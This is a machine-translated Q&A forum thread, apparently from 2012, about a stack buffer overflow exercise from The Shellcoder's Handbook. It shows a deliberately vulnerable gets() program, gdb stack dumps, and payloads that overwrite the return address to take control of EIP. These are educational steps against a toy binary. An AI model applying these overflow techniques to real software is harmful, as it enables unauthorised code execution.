2012-08-13 63 views
1

我在這個例子w.r.t. shellcoder手冊(第二版),並有一定的問題,關於這個例子堆棧堆棧溢出(shellcoders手冊)

[email protected]:~/pentest# gdb -q sc 
Reading symbols from /root/pentest/sc...done. 
(gdb) set disassembly-flavor intel  
(gdb) list  
1 void ret_input(void){  
2  char array[30]; 
3  
4  gets(array); 
5  printf("%s\n", array); 
6 } 
7 main(){ 
8  ret_input(); 
9  
10  return 0; 
(gdb) disas ret_input 
Dump of assembler code for function ret_input: 
    0x08048414 <+0>: push ebp 
    0x08048415 <+1>: mov ebp,esp 
    0x08048417 <+3>: sub esp,0x24 
    0x0804841a <+6>: lea eax,[ebp-0x1e] 
    0x0804841d <+9>: mov DWORD PTR [esp],eax 
    0x08048420 <+12>: call 0x804832c <[email protected]> 
    0x08048425 <+17>: lea eax,[ebp-0x1e] 
    0x08048428 <+20>: mov DWORD PTR [esp],eax 
    0x0804842b <+23>: call 0x804834c <[email protected]> 
    0x08048430 <+28>: leave  
    0x08048431 <+29>: ret  
End of assembler dump. 
(gdb) break *0x08048420 
Breakpoint 1 at 0x8048420: file sc.c, line 4. 
(gdb) break *0x08048431 
Breakpoint 2 at 0x8048431: file sc.c, line 6. 
(gdb) run 
Starting program: /root/pentest/sc 

Breakpoint 1, 0x08048420 in ret_input() at sc.c:4 
4  gets(array); 
(gdb) x/20x $esp 
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460 
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b 
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8 
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc 
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4 
(gdb) continue 
Continuing. 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD 

Breakpoint 2, 0x08048431 in ret_input() at sc.c:6 
6 } 
(gdb) x/20x 0x0bffff51c 
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141 
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343 
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500 
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc 
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4 
(gdb) ^Z 
[1]+ Stopped     gdb -q sc 
[email protected]:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5� 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:� 
[email protected]:~/pentest# 

我正在48個字節「AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD \ X35 \ X84 \ X04 \ X08」,要重寫RET地址,所有的工作。但是,當我試圖用從本書的第一版例如i面臨着一些問題

[email protected]:~/pentest# gdb -q sc 
Reading symbols from /root/pentest/sc...done. 
(gdb) disas ret_input 
Dump of assembler code for function ret_input: 
    0x08048414 <+0>: push %ebp 
    0x08048415 <+1>: mov %esp,%ebp 
    0x08048417 <+3>: sub $0x24,%esp 
    0x0804841a <+6>: lea -0x1e(%ebp),%eax 
    0x0804841d <+9>: mov %eax,(%esp) 
    0x08048420 <+12>: call 0x804832c <[email protected]> 
    0x08048425 <+17>: lea -0x1e(%ebp),%eax 
    0x08048428 <+20>: mov %eax,(%esp) 
    0x0804842b <+23>: call 0x804834c <[email protected]> 
    0x08048430 <+28>: leave  
    0x08048431 <+29>: ret  
End of assembler dump. 
(gdb) 

爲什麼程序已採取24(十六進制)= 36(十進制),關於陣列字節,但我用48重寫36個字節的數組,8個字節的esp和ebp(我怎麼知道的),但有鋼有4個不明原因的字節

好吧,讓我們試試從第一版本改寫所有數組功能,在書中他們有「sub & 0x20,%esp」so code is

main(){ 
int i=0; 
char stuffing[44]; 

for (i=0;i<=40;i+=4) 
*(long *) &stuffing[i] = 0x080484bb; 
puts(array); 

我有 「」 子& 0X24,%ESP」,所以我的代碼將是shellcoders'手冊

[[email protected] /]# (./adress_to_char;cat) | ./overflow 
input 
""""""""""""""""""a<u___.input 
input 
input 

和我的結果

[email protected]:~/pentest# (./ad_to_ch;cat) | ./sc 
5�h���ل$���������h����4��0��˄ 
inout 
Segmentation fault 
[email protected]:~/pentest# 

有什麼問題的

main(){ 
int i=0; 
char stuffing[48]; 

for (i=0;i<=44;i+=4) 
*(long *) &stuffing[i] = 0x08048435; 
puts(array); 

結果呢? 我用編譯

-fno堆疊保護器-mpreferred堆疊邊界= 2

回答

1

這一列:

爲(I = 0;我< = 44; I + = 4);

從最後刪除;。我還假設o(字母o)而不是0(零)在這裏輸入錯誤。

的問題是,你的循環執行;(又名什麼都不做),直到我變大,然後44,然後你執行與i = 44至極的下一個命令是數組的界限之外,你會得到Segmentation Error。您應該注意這種類型的錯誤,因爲它幾乎不可見,並且它是完全有效的c代碼。

+0

對不起,我的文字錯誤,只是我手寫的代碼(更正)。 – theqbit 2012-08-13 15:46:00

+0

所以不是這樣。 – 2012-08-14 10:47:26

3

我建議你最好通過嘗試在GDB中獲得溢出緩衝區所需的字節量。我整理了你在你的問題提供並運行它通過GDB來源:

gdb$ r < <(python -c "print('A'*30)") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
[Inferior 1 (process 29912) exited normally] 

(請注意,我用Python創建我的投入,而不是一個編譯的C程序這真的不要緊,用你喜歡什麼。 )

所以30個字節都可以。讓我們嘗試一些:

gdb$ r < <(python -c "print('A'*50)") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Program received signal SIGSEGV, Segmentation fault. 
Cannot access memory at address 0x41414141 
0x41414141 in ??() 

gdb$ i r $eip 
eip   0x41414141 0x41414141 

我們eip寄存器現在包含0x41414141,這是ASCII AAAA。現在,我們就可以逐步檢查哪兒,我們必須把價值在我們的緩衝區,更新eip

gdb$ r < <(python -c "print('A'*40+'BBBB')") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

Program received signal SIGSEGV, Segmentation fault. 
Cannot access memory at address 0x8004242 
0x08004242 in ??() 

B0x42。因此,當使用40 A和四個B時,我們覆蓋了eip的一半。因此,我們墊42 A的,然後把價值,我們希望與更新eip

gdb$ r < <(python -c "print('A'*42+'BBBB')") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

Program received signal SIGSEGV, Segmentation fault. 
Cannot access memory at address 0x42424242 
0x42424242 in ??() 

我們得到了完全控制eip!我們來試試吧。在ret_input末設置一個斷點(因爲我重新編譯的二進制文件的地址可能會有所不同):

gdb$ dis ret_input 
Dump of assembler code for function ret_input: 
    0x08048404 <+0>: push %ebp 
    0x08048405 <+1>: mov %esp,%ebp 
    0x08048407 <+3>: sub $0x38,%esp 
    0x0804840a <+6>: lea -0x26(%ebp),%eax 
    0x0804840d <+9>: mov %eax,(%esp) 
    0x08048410 <+12>: call 0x8048310 <[email protected]> 
    0x08048415 <+17>: lea -0x26(%ebp),%eax 
    0x08048418 <+20>: mov %eax,(%esp) 
    0x0804841b <+23>: call 0x8048320 <[email protected]> 
    0x08048420 <+28>: leave 
    0x08048421 <+29>: ret  
End of assembler dump. 
gdb$ break *0x8048421 
Breakpoint 1 at 0x8048421 

舉個例子,讓我們修改eip所以一旦從ret_input我們在函數的開頭再次最終返回:

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')") 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�  

--------------------------------------------------------------------------[code] 
=> 0x8048421 <ret_input+29>: ret  
    0x8048422 <main>: push ebp 
    0x8048423 <main+1>: mov ebp,esp 
    0x8048425 <main+3>: and esp,0xfffffff0 
    0x8048428 <main+6>: call 0x8048404 <ret_input> 
    0x804842d <main+11>: mov eax,0x0 
    0x8048432 <main+16>: leave 
    0x8048433 <main+17>: ret  
-------------------------------------------------------------------------------- 

Breakpoint 1, 0x08048421 in ret_input() 

我們墊42 A的,然後的ret_input地址追加到我們的緩衝區。我們在ret觸發器上的斷點。

gdb$ x/w $esp 
0xffffd30c: 0x08048404 

在堆棧頂部有我們緩衝區的最後一個DWORD - ret_input的地址。

gdb$ n 
0x08048404 in ret_input()  

gdb$ i r $eip 
eip   0x8048404 0x8048404 <ret_input> 

執行下一條指令會將該值從堆棧中彈出並相應地設置eip

附註:我推薦this guy的.gdbinit文件。

+0

我已經通過gdb/command promt覆蓋了這個源文件,並且需要通過另一個源文件覆蓋 'root @ bt:〜/ pentest#printf''「AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD \ x35 \ x84 \ x04 \ x08」 。/ sc' 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5' 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:'' 根@ BT:〜/ pentest#' – theqbit 2012-08-14 13:05:39

+1

我不太清楚你要完成的任務。你能改述你的目標是什麼嗎? 上傳您正在處理的二進制文件可能也是一個好主意,以避免出現差異。 – f00id 2012-08-14 14:06:54

+0

我的目標是通過[this]嘗試溢出[我的程序](http://code.google.com/p/example-of-buffer-overflow/downloads/detail?name=sc.c&can=2&q=#makechanges)代碼(http://code.google.com/p/example-of-buffer-overflow/downloads/detail?name=ad_to_ch.c&can=2&q=)。感謝您的幫助 – theqbit 2012-08-14 15:04:17